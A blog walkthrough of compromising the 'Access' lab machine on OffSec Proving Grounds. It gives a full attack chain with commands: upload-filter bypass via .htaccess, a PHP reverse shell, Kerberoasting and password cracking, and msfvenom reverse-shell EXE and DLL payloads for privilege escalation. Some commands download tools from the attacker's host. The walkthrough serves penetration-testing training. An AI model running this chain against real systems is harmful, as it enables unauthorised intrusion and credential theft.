Proving Grounds Practice — Access

Dpsypher
12 min readNov 30, 2023

--

This is an intermediate box on Offsec’s PG Practice but the community has rated it ‘Very Hard’.

https://portal.offsec.com/labs/practice

Start with a Nmap scan:

sudo nmap -Pn -n $IP -sC -sV -p- --open

I start nearly every box this way because it quickly returns a wealth of information. Sudo as it defaults to the faster half-open SYN scan, then -Pn to ignore ping and assume it is up, -n to ignore DNS, the IP address, -sC for default scripts, -sV for version information, -p- to scan all ports, and MOST importantly the — open argument to only apply scripts and version scans to found open ports.

┌──(kali㉿kali)-[~/offsec-labs]
└─$ sudo nmap -Pn -n 192.168.207.187 -sC -sV -p- --open
[sudo] password for kali:
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-05 12:14 EDT
Nmap scan report for 192.168.207.187
Host is up (0.082s latency).
Not shown: 65514 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Apache httpd 2.4.48 ((Win64) OpenSSL/1.1.1k PHP/8.0.7)
|_http-server-header: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7
|_http-title: Access The Event
| http-methods:
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-10-05 16:17:08Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: access.offsec0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: access.offsec0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing


49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49669/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49670/tcp open msrpc Microsoft Windows RPC
49673/tcp open msrpc Microsoft Windows RPC
49695/tcp open msrpc Microsoft Windows RPC
49734/tcp open msrpc Microsoft Windows RPC
Service Info: Host: SERVER; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2023-10-05T16:18:02
|_ start_date: N/A

What catches your eye?

Seeing ports 53 (DNS), 88 (Kerberos Authentication), and 389 (LDAP) immediately identify this as a Domain Controller. Note that the domain “access.offsec” is listed (ignore the zero at the end). We see an Apache web sever on 80. The standard SMB ports of 139 and 445 in combination with 5985 indicates possible Remote Management access. 636 (Secure LDAP) and 2369 are indicated as “tcpwrapped” which is vague — more clarity may be gained with a netcat banner grab or re-running Nmap targeting just those ports with the -T0 flag to go ultra slow. Lastly we have an unknown (to me at least) .NET message framework on 9389 followed by a slew of Microsoft RPC ports.

Since we see a web server we should open another tab and start a Gobuster scan. This will run for awhile so we want to start it early and we will check back on it later. Before initial access, try to have some enumeration scan running in the background (unless you are trying to remain undetected in which case every packet should be considered).

sudo gobuster dir -w '/home/kali/Desktop/wordlists/dirbuster/directory-list-2.3-medium.txt' -u http://$IP:80 -t 42 -b 400,403,404

I have chosen 42 threads with -t 42 and to ignore codes that will not be useful to me now with -b 400, 403, 404.

Then add the domain name to our /etc/hosts file.

sudo subl /etc/hosts

Use the text editor of your choice but honestly I don’t know why anyone would use anything other than sublime text.

We could try a DNS zone transfer, a LDAPsearch (since we have the domain name), SMB enumeration with enum4linux and smbclient, but we are going to go the the Apache web server first.

Wanna go to a Marketing Event? Uh no, let’s hack it instead.

There are a few things to look at and some potential vulnerable form fields but they are fruitless until you select one of the three “Buy Now” buttons toward the bottom. My goal is to go ‘Pro’, so I’ll select that one.

It gets juicy with the Browse/Upload functionality.

What should we browse for?

Nmap previously indicated that the web server is running PHP 8.0.7 and if you missed it, you can check Wappalyzer (which is best practice anyway).

Wappalyzer is a Firefox plugin useful to web application enumeration.

Let’s try a the PHP Ivan Sincek shell from https://www.revshells.com/

Enter the appropriate tun0 IP address and I’ll use port 135 since it is a SMB enabled Windows box. Copy the code into a text file, save it (shell.php), and browse to it.

We are redirected and discover that they are wise to our ways. PHP is not allowed.

We are then shuffled back to the home page where we are free to try another file type. By exhaustion, we learn the none of the PHP type extensions will be accepted. Here’s where it gets fun!

We create our own .htaccess file that outlines a NEW PHP file type and upload it.

echo "AddType application/x-httpd-php .dork" > .htaccess

Be aware that to be able to select this file for upload, you will have to change your view setting with a right-click after browsing to its location.

Make sure the “Show Hidden Files” box is checked

The popup message is encouraging.

Not denied. A non-NO is a yes in our industry, right?

Change the name of your shell.php file to end in the new PHP extension type.

mv shell.php shell.dork

Now we will be able to upload it. However, we should set up our listener first.

sudo rlwrap nc -lnvp 135

I use rlwrap so that I retain use of my arrow key functionality upon connection.

Now finally we upload the shell.dork PHP file.

Fingers crossed.

It is not denied and we receive that same positive popup as with the .htaccess file. Only, where did those go? It’s time to circle back to our Gobuster scan.

┌──(kali㉿kali)-[~/offsec-labs/TEMP-publish]
└─$ sudo gobuster dir -w '/home/kali/Desktop/wordlists/dirbuster/directory-list-2.3-medium.txt' -u http://$IP:80 -t 42 -b 404,403,400
[sudo] password for kali:
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.178.187:80
[+] Method: GET
[+] Threads: 42
[+] Wordlist: /home/kali/Desktop/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404,403,400
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/uploads (Status: 301) [Size: 344] [--> http://192.168.178.187/uploads/]
/assets (Status: 301) [Size: 343] [--> http://192.168.178.187/assets/]
/forms (Status: 301) [Size: 342] [--> http://192.168.178.187/forms/]
/examples (Status: 503) [Size: 404]
/Forms (Status: 301) [Size: 342] [--> http://192.168.178.187/Forms/]
/Assets (Status: 301) [Size: 343] [--> http://192.168.178.187/Assets/]
/Uploads (Status: 301) [Size: 344] [--> http://192.168.178.187/Uploads/]
/FORMS (Status: 301) [Size: 342] [--> http://192.168.178.187/FORMS/]
Progress: 220561 / 220562 (100.00%)
===============================================================
Finished
===============================================================

Oh how lucky, there is a designated uploads folder that appears browsable. Let’s go there.

YAY! Our shell is there.

Click on our uploaded shell and notice that the browser hangs and will not resolve. This is promising. Check the listener.

We made it!

Now…what are our privileges? What does the environment look like and how are we going become Admin?

whoami /priv
Ouch! No privileges.

We are on the box but appear to have been hamstrung; barely any privileges. There is a way to get back privileges for a service account and I’ll mention it here, but it does not work in this case. It’s super interesting though, so for further research:

Moving on. If we are not going to abuse privileges for escalation, what else do we have? Well, it’s an Active Directory machine, we could look for some AD credentials…or we could make some.

We will start by getting a Service Principal Name. There is an excellent Powershell script for this:

Let’s move it to the box. I always like to work from the C:\Users\Public directory because it is always present and nearly always accessible.

First set up your python web server on Kali.

python3 -m http.server 80

Then get it.

certutil -urlcache -split -f http://192.168.x.x/Get-SPN.ps1

Since it is a Powershell script, let’s change shells on the victim machine and run the script.

powershell -ExecutionPolicy Bypass

.\Get-SPN.ps1

This produces two items, one of which is useful.

MSSQLSvc/DC.access.offsec

The MSSQL service account will likely have better privileges. Now that we have the SPN, we are able to request a ticket and store it in memory with the end goal of getting it’s hash.

Add-Type -AssemblyName System.IdentityModel

New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList 'MSSQLSvc/DC.access.offsec'

Extracting the hash can also be done with a handy Powershell Empire script that engages Kerberos.

Transfer it to the victim and run.

powershell iwr http://192.168.45.154/Invoke-Kerberoast.ps1 -outfile Invoke-Kerberoast.ps1

.\Invoke-Kerberoast.ps1

As you can see, the hash is messy. We need t clean it up to crack it. This is where sublime text is very useful. Paste it in to a new document.

subl MSSQL.hash

In Sublime text go to the Find tab and use the Replace function.

In the bottom left switch to Regular Expression and enter a space. We want to remove all of the spaces, so we will replace space character with empty. All of the space characters should be outlined in little blue boxes.

Select Replace All.

Next replace all the new line characters with empty.

Viola, nice clean hash!

Now crack it with either John the Ripper or Hashcat. Hashcat is a better optimized program, but for dictionary attacks, I generally use JtR because it is more easily done via bash without mode look ups.

john --wordlist=/usr/share/wordlists/rockyou.txt --rules=best64 MSSQL.hash 

Now we are getting somewhere. We have credentials (svc_mssql:trustno1). You can find the username embedded in the hash after the * and up to the following $.

svc_mssql

What can we do with these credentials? We should try them against any place that will take them. Remember SMB (445) and the Remote Management port (5985) from the Nmap scan? That’s where we will start.

No response…a non-NO is often a yes, right?
That’s what a NO looks like.

Let’s try it another way to see if we can get more explicit results. Oh crackmapexec, we love you. This tool is priceless when working through the OSCP labs.

crackmapexec smb 192.168.x.187 -u svc_mssql -d access.offsec -p "trustno1" --shares
This looks promising.
This does not. What’s the deal?

Well, our success is again built of the excellent work of others in the form of a RUN-AS script.

Retrieve it, move it to the victim box, and Import it.

Verify we have command execution as the target user.

Invoke-RunasCs -Username svc_mssql -Password trustno1 -Command "whoami"
access\svc_mssql

We receive a warning message advising us of additional advanced functionality, but we don’t need that in this case. Let’s go for a reverse shell using msfvenom.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.154 LPORT=445 -f exe > shell.exe

Transfer it to the victim and run it with the RUN-AS command used previously. Remember to set up a listener as before but on a different port.

It reads “No output” but oh yes there is. Check the listener.

We successfully moved laterally to another user (with more privileges). The flag can be found in the usual place, the user’s Desktop.

Now we have SeMachineAccountPrivilege and SeManageVolumePrivilege. Both of which are useful, but we will focus on the latter to escalate to Administrator.

Google is your friend here.

I used this.

Transfer the file and run it.

Now we can write to the C: drive.

Or even better run icacls on a privileged folder.

Boom goes the dynamite

If you want to study what is going on here in more detail, go to https://github.com/xct/SeManageVolumeAbuse

In summary, we can leverage our newfound super powers to hijack a DLL used by anything. We will use systeminfo’s tzres.dll but you should be able to use any .dll if you are willing to do the research.

Create another reverse shell outputting the file as tzres.dll and transfer it to the victim; placing it in the c:\windows\system32\wbem directory. I’m going to cancel my initial access shell and reuse port 135 because I’m fond of it, but there do not appear to be any outgoing firewall rules to prevent you from just using another port and having three shells on the box. It is probably advisable to do it that way.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.154 LPORT=135 -f dll -o tzres.dll

Finally (with your listener set up) run the systeminfo command.

No it didn’t.

That was quiet a journey. Thank you to everyone who helped me learn this, especially J0s3phKg.

--

--

Dpsypher

Google IT Support/CompTIA A+, CompTIA Security+, IBM Security Analyst, AWS Cloud Practitioner, CCNA, CEH: Master, OSCP (93% in class, practicing for test)